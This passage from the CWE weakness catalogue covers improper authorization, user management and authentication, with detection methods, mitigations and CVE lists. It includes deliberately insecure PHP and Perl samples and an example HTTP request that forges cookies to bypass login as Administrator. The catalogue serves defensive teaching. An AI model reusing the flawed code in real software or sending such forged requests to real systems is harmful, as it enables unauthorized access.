ParentOf	C	863	Incorrect Authorization	1664
ParentOf	V	926	Improper Export of Android Application Components	1704
ParentOf	V	927	Use of Implicit Intent for Sensitive Communication	1706
ParentOf	B	1230	Exposure of Sensitive Information Through Metadata	1855

Nature	Type	ID	Name	Page
ParentOf	<b>B</b>	1256	Improper Restriction of Software Interfaces to Hardware Features	1906
ParentOf	<b>B</b>	1297	Unprotected Confidential Information on Device is Accessible by OSAT Vendors	1989
ParentOf	<b>B</b>	1328	Security Version Number Mutable to Older Versions	2041

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	1011	Authorize Actors	2218

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf	<b>I P</b>	284	Improper Access Control	644

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Web Server (*Prevalence = Often*)

**Technology** : Database Server (*Prevalence = Often*)

### Background Details

An access control list (ACL) represents who/what has permissions to a given object. Different operating systems implement (ACLs) in different ways. In UNIX, there are three types of permissions: read, write, and execute. Users are divided into three classes for file access: owner, group owner, and all other users where each class has a separate set of rights. In Windows NT, there are four basic types of permissions for files: "No access", "Read access", "Change access", and "Full control". Windows NT extends the concept of three types of users in UNIX to include a list of users and groups along with their associated permissions. A user can create an object (file) and assign specified permissions to that object.

### Alternate Terms

**AuthZ** : "AuthZ" is typically used as an abbreviation of "authorization" within the web application security community. It is distinct from "AuthN" (or, sometimes, "AuthC") which is an abbreviation of "authentication." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Files or Directories  <i>An attacker could read sensitive data, either by reading the data directly from a data store that is not properly restricted, or by accessing insufficiently-protected, privileged functionality to read the data.</i>	
Integrity	Modify Application Data Modify Files or Directories  <i>An attacker could modify sensitive data, either by writing the data directly to a data store that is not properly restricted, or by accessing insufficiently-protected, privileged functionality to write the data.</i>	
Access Control	Gain Privileges or Assume Identity	

Scope	Impact	Likelihood
	<i>An attacker could gain privileges by modifying or reading critical data directly, or by accessing insufficiently-protected, privileged functionality.</i>	

## Detection Methods

### Automated Static Analysis

Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries. Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.

*Effectiveness = Limited*

### Automated Dynamic Analysis

Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic

### Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.

*Effectiveness = Moderate*

*These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.*

### Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

### Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

*Effectiveness = SOAR Partial*

### Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Host Application Interface Scanner Fuzz Tester Framework-based Fuzzer Forced Path Execution Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

*Effectiveness = SOAR Partial*

### Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

*Effectiveness = SOAR Partial*

### Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Context-configured Source Code Weakness Analyzer

*Effectiveness = SOAR Partial*

### Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

## Potential Mitigations

### Phase: Architecture and Design

Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.

### Phase: Architecture and Design

Ensure that you perform access control checks related to your business logic. These checks may be different than the access control checks that you apply to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor.

### Phase: Architecture and Design

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].

### Phase: Architecture and Design

For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.

### Phase: System Configuration

#### Phase: Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

## Demonstrative Examples

### Example 1:

This function runs an arbitrary SQL query on a given database, returning the result of the query.

*Example Language: PHP*

*(Bad)*

```
function runEmployeeQuery($dbName, $name){
```

```

mysql_select_db($dbName,$globalDbHandle) or die("Could not open Database".$dbName);
//Use a prepared statement to avoid CWE-89
$preparedStatement = $globalDbHandle->prepare('SELECT * FROM employees WHERE name = :name');
$preparedStatement->execute(array(':name' => $name));
return $preparedStatement->fetchAll();
}
/.../
$employeeRecord = runEmployeeQuery('EmployeeDB',$_GET['EmployeeName']);

```

While this code is careful to avoid SQL Injection, the function does not confirm the user sending the query is authorized to do so. An attacker may be able to obtain sensitive employee information from the database.

### Example 2:

The following program could be part of a bulletin board system that allows users to send private messages to each other. This program intends to authenticate the user before deciding whether a private message should be displayed. Assume that `LookupMessageObject()` ensures that the `$id` argument is numeric, constructs a filename based on that id, and reads the message details from that file. Also assume that the program stores all private messages for all users in the same directory.

Example Language: Perl

(Bad)

```

sub DisplayPrivateMessage {
    my($id) = @_;
    my $Message = LookupMessageObject($id);
    print "From: " . encodeHTML($Message->{from}) . "<br>\n";
    print "Subject: " . encodeHTML($Message->{subject}) . "\n";
    print "<hr>\n";
    print "Body: " . encodeHTML($Message->{body}) . "\n";
}
my $q = new CGI;
# For purposes of this example, assume that CWE-309 and
# CWE-523 do not apply.
if (!AuthenticateUser($q->param('username'), $q->param('password'))) {
    ExitError("invalid username or password");
}
my $id = $q->param('id');
DisplayPrivateMessage($id);

```

While the program properly exits if authentication fails, it does not ensure that the message is addressed to the user. As a result, an authenticated attacker could provide any arbitrary identifier and read private messages that were intended for other users.

One way to avoid this problem would be to ensure that the "to" field in the message object matches the username of the authenticated user.

### Observed Examples

Reference	Description
<b>CVE-2022-24730</b>	Go-based continuous deployment product does not check that a user has certain privileges to update or create an app, allowing adversaries to read sensitive repository information <a href="https://www.cve.org/CVERecord?id=CVE-2022-24730">https://www.cve.org/CVERecord?id=CVE-2022-24730</a>
<b>CVE-2009-3168</b>	Web application does not restrict access to admin scripts, allowing authenticated users to reset administrative passwords. <a href="https://www.cve.org/CVERecord?id=CVE-2009-3168">https://www.cve.org/CVERecord?id=CVE-2009-3168</a>
<b>CVE-2009-2960</b>	Web application does not restrict access to admin scripts, allowing authenticated users to modify passwords of other users. <a href="https://www.cve.org/CVERecord?id=CVE-2009-2960">https://www.cve.org/CVERecord?id=CVE-2009-2960</a>
<b>CVE-2009-3597</b>	Web application stores database file under the web root with insufficient access control (CWE-219), allowing direct request.

Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2009-3597">https://www.cve.org/CVERecord?id=CVE-2009-3597</a>
<b>CVE-2009-2282</b>	Terminal server does not check authorization for guest access. <a href="https://www.cve.org/CVERecord?id=CVE-2009-2282">https://www.cve.org/CVERecord?id=CVE-2009-2282</a>
<b>CVE-2009-3230</b>	Database server does not use appropriate privileges for certain sensitive operations. <a href="https://www.cve.org/CVERecord?id=CVE-2009-3230">https://www.cve.org/CVERecord?id=CVE-2009-3230</a>
<b>CVE-2009-2213</b>	Gateway uses default "Allow" configuration for its authorization settings. <a href="https://www.cve.org/CVERecord?id=CVE-2009-2213">https://www.cve.org/CVERecord?id=CVE-2009-2213</a>
<b>CVE-2009-0034</b>	Chain: product does not properly interpret a configuration option for a system group, allowing users to gain privileges. <a href="https://www.cve.org/CVERecord?id=CVE-2009-0034">https://www.cve.org/CVERecord?id=CVE-2009-0034</a>
<b>CVE-2008-6123</b>	Chain: SNMP product does not properly parse a configuration option for which hosts are allowed to connect, allowing unauthorized IP addresses to connect. <a href="https://www.cve.org/CVERecord?id=CVE-2008-6123">https://www.cve.org/CVERecord?id=CVE-2008-6123</a>
<b>CVE-2008-5027</b>	System monitoring software allows users to bypass authorization by creating custom forms. <a href="https://www.cve.org/CVERecord?id=CVE-2008-5027">https://www.cve.org/CVERecord?id=CVE-2008-5027</a>
<b>CVE-2008-7109</b>	Chain: reliance on client-side security (CWE-602) allows attackers to bypass authorization using a custom client. <a href="https://www.cve.org/CVERecord?id=CVE-2008-7109">https://www.cve.org/CVERecord?id=CVE-2008-7109</a>
<b>CVE-2008-3424</b>	Chain: product does not properly handle wildcards in an authorization policy list, allowing unintended access. <a href="https://www.cve.org/CVERecord?id=CVE-2008-3424">https://www.cve.org/CVERecord?id=CVE-2008-3424</a>
<b>CVE-2009-3781</b>	Content management system does not check access permissions for private files, allowing others to view those files. <a href="https://www.cve.org/CVERecord?id=CVE-2009-3781">https://www.cve.org/CVERecord?id=CVE-2009-3781</a>
<b>CVE-2008-4577</b>	ACL-based protection mechanism treats negative access rights as if they are positive, allowing bypass of intended restrictions. <a href="https://www.cve.org/CVERecord?id=CVE-2008-4577">https://www.cve.org/CVERecord?id=CVE-2008-4577</a>
<b>CVE-2008-6548</b>	Product does not check the ACL of a page accessed using an "include" directive, allowing attackers to read unauthorized files. <a href="https://www.cve.org/CVERecord?id=CVE-2008-6548">https://www.cve.org/CVERecord?id=CVE-2008-6548</a>
<b>CVE-2007-2925</b>	Default ACL list for a DNS server does not set certain ACLs, allowing unauthorized DNS queries. <a href="https://www.cve.org/CVERecord?id=CVE-2007-2925">https://www.cve.org/CVERecord?id=CVE-2007-2925</a>
<b>CVE-2006-6679</b>	Product relies on the X-Forwarded-For HTTP header for authorization, allowing unintended access by spoofing the header. <a href="https://www.cve.org/CVERecord?id=CVE-2006-6679">https://www.cve.org/CVERecord?id=CVE-2006-6679</a>
<b>CVE-2005-3623</b>	OS kernel does not check for a certain privilege before setting ACLs for files. <a href="https://www.cve.org/CVERecord?id=CVE-2005-3623">https://www.cve.org/CVERecord?id=CVE-2005-3623</a>
<b>CVE-2005-2801</b>	Chain: file-system code performs an incorrect comparison (CWE-697), preventing default ACLs from being properly applied. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2801">https://www.cve.org/CVERecord?id=CVE-2005-2801</a>
<b>CVE-2001-1155</b>	Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1155">https://www.cve.org/CVERecord?id=CVE-2001-1155</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.



Nature	Type	ID	Name	V	Page
MemberOf		254	7PK - Security Features	700	2106
MemberOf		721	OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access	629	2127
MemberOf		723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	2128
MemberOf		753	2009 Top 25 - Porous Defenses	750	2146
MemberOf		803	2010 Top 25 - Porous Defenses	800	2148
MemberOf		817	OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access	809	2152
MemberOf		935	OWASP Top Ten 2013 Category A7 - Missing Function Level Access Control	928	2185
MemberOf		945	SFP Secondary Cluster: Insecure Resource Access	888	2187
MemberOf		1031	OWASP Top Ten 2017 Category A5 - Broken Access Control	1026	2230
MemberOf		1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2280
MemberOf		1382	ICS Operations (& Maintenance): Emerging Energy Technologies	1358	2308

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Missing Access Control
OWASP Top Ten 2007	A10	CWE More Specific	Failure to Restrict URL Access
OWASP Top Ten 2004	A2	CWE More Specific	Broken Access Control
Software Fault Patterns	SFP35		Insecure resource access

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
1	Accessing Functionality Not Properly Constrained by ACLs
5	Blue Boxing
13	Subverting Environment Variable Values
17	Using Malicious Files
39	Manipulating Opaque Client-based Data Tokens
45	Buffer Overflow via Symbolic Links
51	Poison Web Service Registry
59	Session Credential Falsification through Prediction
60	Reusing Session IDs (aka Session Replay)
76	Manipulating Web Input to File System Calls
77	Manipulating User-Controlled Variables
87	Forceful Browsing
104	Cross Zone Scripting
127	Directory Indexing
402	Bypassing ATA Password Security
647	Collect Data from Registries
668	Key Negotiation of Bluetooth Attack (KNOB)

### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.



[REF-229]NIST. "Role Based Access Control and Role Based Security". < <http://csrc.nist.gov/groups/SNS/rbac/> >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

[REF-231]Frank Kim. "Top 25 Series - Rank 5 - Improper Access Control (Authorization)". 2010 March 4. SANS Software Security Institute. < <http://blogs.sans.org/appsecstreetfighter/2010/03/04/top-25-series-rank-5-improper-access-control-authorization/> >.

[REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < <http://www.owasp.org/index.php/ESAPI> >.

[REF-233]Rahul Bhattacharjee. "Authentication using JAAS". < <http://www.javaranch.com/journal/2008/04/authentication-using-JAAS.html> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-286: Incorrect User Management

**Weakness ID** : 286

**Structure** : Simple

**Abstraction** : Class

### Description

The product does not properly manage a user within its environment.

### Extended Description

Users can be assigned to the wrong group (class) of permissions resulting in unintended access rights to sensitive objects.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	644
ParentOf	ⓑ	842	Placement of User into Incorrect Group	1653

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	ⓐ	1011	Authorize Actors	2218

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	C	944	SFP Secondary Cluster: Access Management	888	2186

## Notes

### Maintenance

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-693).

### Maintenance

This item needs more work. Possible sub-categories include: user in wrong group, and user with insecure profile or "configuration". It also might be better expressed as a category than a weakness.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			User management errors

## CWE-287: Improper Authentication

**Weakness ID :** 287

**Structure :** Simple

**Abstraction :** Class

### Description

When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	644
ParentOf	B	295	Improper Certificate Validation	677
ParentOf	B	306	Missing Authentication for Critical Function	703
ParentOf	B	645	Overly Restrictive Account Lockout Mechanism	1340
ParentOf	C	1390	Weak Authentication	2087
CanFollow	B	613	Insufficient Session Expiration	1291

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ParentOf	B	290	Authentication Bypass by Spoofing	668
ParentOf	B	294	Authentication Bypass by Capture-replay	675
ParentOf	B	295	Improper Certificate Validation	677

Nature	Type	ID	Name	Page
ParentOf	B	306	Missing Authentication for Critical Function	703
ParentOf	B	307	Improper Restriction of Excessive Authentication Attempts	709
ParentOf	B	521	Weak Password Requirements	1154
ParentOf	C	522	Insufficiently Protected Credentials	1157
ParentOf	B	640	Weak Password Recovery Mechanism for Forgotten Password	1326
ParentOf	B	798	Use of Hard-coded Credentials	1573

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	2217

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	644

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : ICS/OT (*Prevalence = Often*)

### Alternate Terms

**authentication** : An alternate term is "authentication", which appears to be most commonly used by people from non-English-speaking countries.

**AuthN** : "AuthN" is typically used as an abbreviation of "authentication" within the web application security community. It is also distinct from "AuthZ," which is an abbreviation of "authorization." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.

**AuthC** : "AuthC" is used as an abbreviation of "authentication," but it appears to be used less frequently than "AuthN."

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Integrity	Read Application Data	
Confidentiality	Gain Privileges or Assume Identity	
Availability	Execute Unauthorized Code or Commands	
Access Control	<i>This weakness can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with sensitive information or even execute arbitrary code.</i>	

### Detection Methods

#### Automated Static Analysis

Automated static analysis is useful for detecting certain types of authentication. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authentication libraries. Generally, automated static analysis tools have difficulty detecting custom authentication schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an established identity; an automated technique that detects the absence of authentication may report false positives.

*Effectiveness = Limited*

### **Manual Static Analysis**

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Manual static analysis is useful for evaluating the correctness of custom authentication mechanisms.

*Effectiveness = High*

*These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.*

### **Manual Static Analysis - Binary or Bytecode**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

### **Dynamic Analysis with Automated Results Interpretation**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

*Effectiveness = SOAR Partial*

### **Dynamic Analysis with Manual Results Interpretation**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

*Effectiveness = SOAR Partial*

### **Manual Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Manual Source Code Review (not inspections)

*Effectiveness = SOAR Partial*

### **Automated Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = SOAR Partial*

### **Automated Static Analysis**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Configuration Checker

*Effectiveness = SOAR Partial*

### **Architecture or Design Review**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction

*Effectiveness = High*

## **Potential Mitigations**

### **Phase: Architecture and Design**

*Strategy = Libraries or Frameworks*

Use an authentication framework or library such as the OWASP ESAPI Authentication feature.

## Demonstrative Examples

### Example 1:

The following code intends to ensure that the user is already logged in. If not, the code performs authentication with the user-provided username and password. If successful, it sets the loggedin and user cookies to "remember" that the user has already logged in. Finally, the code performs administrator tasks if the logged-in user has the "Administrator" username, as recorded in the user cookie.

Example Language: Perl

(Bad)

```
my $q = new CGI;
if ($q->cookie('loggedin') ne "true") {
    if (!AuthenticateUser($q->param('username'), $q->param('password'))) {
        ExitError("Error: you need to log in first");
    }
} else {
    # Set loggedin and user cookies.
    $q->cookie(
        -name => 'loggedin',
        -value => 'true'
    );
    $q->cookie(
        -name => 'user',
        -value => $q->param('username')
    );
}
if ($q->cookie('user') eq "Administrator") {
    DoAdministratorTasks();
}
```

Unfortunately, this code can be bypassed. The attacker can set the cookies independently so that the code does not check the username and password. The attacker could do this with an HTTP request containing headers such as:

Example Language:

(Attack)

```
GET /cgi-bin/vulnerable.cgi HTTP/1.1
Cookie: user=Administrator
Cookie: loggedin=true
[body of request]
```

By setting the loggedin cookie to "true", the attacker bypasses the entire authentication check. By using the "Administrator" value in the user cookie, the attacker also gains privileges to administer the software.

### Example 2:

In January 2009, an attacker was able to gain administrator access to a Twitter server because the server did not restrict the number of login attempts [REF-236]. The attacker targeted a member of Twitter's support team and was able to successfully guess the member's password using a brute force attack by guessing a large number of common words. After gaining access as the member of the support staff, the attacker used the administrator panel to gain access to 33 accounts that belonged to celebrities and politicians. Ultimately, fake Twitter messages were sent that appeared to come from the compromised accounts.

### Example 3:

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the

products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple vendors did not use any authentication or used client-side authentication for critical functionality in their OT products.

### Observed Examples

Reference	Description
<b>CVE-2022-36436</b>	Python-based authentication proxy does not enforce password authentication during the initial handshake, allowing the client to bypass authentication by specifying a 'None' authentication type. <a href="https://www.cve.org/CVERecord?id=CVE-2022-36436">https://www.cve.org/CVERecord?id=CVE-2022-36436</a>
<b>CVE-2022-30034</b>	Chain: Web UI for a Python RPC framework does not use regex anchors to validate user login emails (CWE-777), potentially allowing bypass of OAuth (CWE-1390). <a href="https://www.cve.org/CVERecord?id=CVE-2022-30034">https://www.cve.org/CVERecord?id=CVE-2022-30034</a>
<b>CVE-2022-29951</b>	TCP-based protocol in Programmable Logic Controller (PLC) has no authentication. <a href="https://www.cve.org/CVERecord?id=CVE-2022-29951">https://www.cve.org/CVERecord?id=CVE-2022-29951</a>
<b>CVE-2022-29952</b>	Condition Monitor uses a protocol that does not require authentication. <a href="https://www.cve.org/CVERecord?id=CVE-2022-29952">https://www.cve.org/CVERecord?id=CVE-2022-29952</a>
<b>CVE-2022-30313</b>	Safety Instrumented System uses proprietary TCP protocols with no authentication. <a href="https://www.cve.org/CVERecord?id=CVE-2022-30313">https://www.cve.org/CVERecord?id=CVE-2022-30313</a>
<b>CVE-2022-30317</b>	Distributed Control System (DCS) uses a protocol that has no authentication. <a href="https://www.cve.org/CVERecord?id=CVE-2022-30317">https://www.cve.org/CVERecord?id=CVE-2022-30317</a>
<b>CVE-2022-33139</b>	SCADA system only uses client-side authentication, allowing adversaries to impersonate other users. <a href="https://www.cve.org/CVERecord?id=CVE-2022-33139">https://www.cve.org/CVERecord?id=CVE-2022-33139</a>
<b>CVE-2021-3116</b>	Chain: Python-based HTTP Proxy server uses the wrong boolean operators (CWE-480) causing an incorrect comparison (CWE-697) that identifies an authN failure if all three conditions are met instead of only one, allowing bypass of the proxy authentication (CWE-1390) <a href="https://www.cve.org/CVERecord?id=CVE-2021-3116">https://www.cve.org/CVERecord?id=CVE-2021-3116</a>
<b>CVE-2021-21972</b>	Chain: Cloud computing virtualization platform does not require authentication for upload of a tar format file (CWE-306), then uses .. path traversal sequences (CWE-23) in the file to access unexpected files, as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2021-21972">https://www.cve.org/CVERecord?id=CVE-2021-21972</a>
<b>CVE-2021-37415</b>	IT management product does not perform authentication for some REST API requests, as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2021-37415">https://www.cve.org/CVERecord?id=CVE-2021-37415</a>
<b>CVE-2020-13927</b>	Default setting in workflow management product allows all API requests without authentication, as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2020-13927">https://www.cve.org/CVERecord?id=CVE-2020-13927</a>
<b>CVE-2021-35395</b>	Stack-based buffer overflows in SFK for wifi chipset used for IoT/embedded devices, as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2021-35395">https://www.cve.org/CVERecord?id=CVE-2021-35395</a>
<b>CVE-2021-34523</b>	Mail server does not properly check an access token before executing a Powershell command, as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2021-34523">https://www.cve.org/CVERecord?id=CVE-2021-34523</a>
<b>CVE-2020-12812</b>	Chain: user is not prompted for a second authentication factor (CWE-287) when changing the case of their username (CWE-178), as exploited in the wild per CISA KEV.



Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2020-12812">https://www.cve.org/CVERecord?id=CVE-2020-12812</a>
<b>CVE-2020-10148</b>	Authentication bypass by appending specific parameters and values to a URI, as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2020-10148">https://www.cve.org/CVERecord?id=CVE-2020-10148</a>
<b>CVE-2020-0688</b>	Mail server does not generate a unique key during installation, as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2020-0688">https://www.cve.org/CVERecord?id=CVE-2020-0688</a>
<b>CVE-2017-14623</b>	LDAP Go package allows authentication bypass using an empty password, causing an unauthenticated LDAP bind <a href="https://www.cve.org/CVERecord?id=CVE-2017-14623">https://www.cve.org/CVERecord?id=CVE-2017-14623</a>
<b>CVE-2009-3421</b>	login script for guestbook allows bypassing authentication by setting a "login_ok" parameter to 1. <a href="https://www.cve.org/CVERecord?id=CVE-2009-3421">https://www.cve.org/CVERecord?id=CVE-2009-3421</a>
<b>CVE-2009-2382</b>	admin script allows authentication bypass by setting a cookie value to "LOGGEDIN". <a href="https://www.cve.org/CVERecord?id=CVE-2009-2382">https://www.cve.org/CVERecord?id=CVE-2009-2382</a>
<b>CVE-2009-1048</b>	VOIP product allows authentication bypass using 127.0.0.1 in the Host header. <a href="https://www.cve.org/CVERecord?id=CVE-2009-1048">https://www.cve.org/CVERecord?id=CVE-2009-1048</a>
<b>CVE-2009-2213</b>	product uses default "Allow" action, instead of default deny, leading to authentication bypass. <a href="https://www.cve.org/CVERecord?id=CVE-2009-2213">https://www.cve.org/CVERecord?id=CVE-2009-2213</a>
<b>CVE-2009-2168</b>	chain: redirect without exit (CWE-698) leads to resultant authentication bypass. <a href="https://www.cve.org/CVERecord?id=CVE-2009-2168">https://www.cve.org/CVERecord?id=CVE-2009-2168</a>
<b>CVE-2009-3107</b>	product does not restrict access to a listening port for a critical service, allowing authentication to be bypassed. <a href="https://www.cve.org/CVERecord?id=CVE-2009-3107">https://www.cve.org/CVERecord?id=CVE-2009-3107</a>
<b>CVE-2009-1596</b>	product does not properly implement a security-related configuration setting, allowing authentication bypass. <a href="https://www.cve.org/CVERecord?id=CVE-2009-1596">https://www.cve.org/CVERecord?id=CVE-2009-1596</a>
<b>CVE-2009-2422</b>	authentication routine returns "nil" instead of "false" in some situations, allowing authentication bypass using an invalid username. <a href="https://www.cve.org/CVERecord?id=CVE-2009-2422">https://www.cve.org/CVERecord?id=CVE-2009-2422</a>
<b>CVE-2009-3232</b>	authentication update script does not properly handle when admin does not select any authentication modules, allowing authentication bypass. <a href="https://www.cve.org/CVERecord?id=CVE-2009-3232">https://www.cve.org/CVERecord?id=CVE-2009-3232</a>
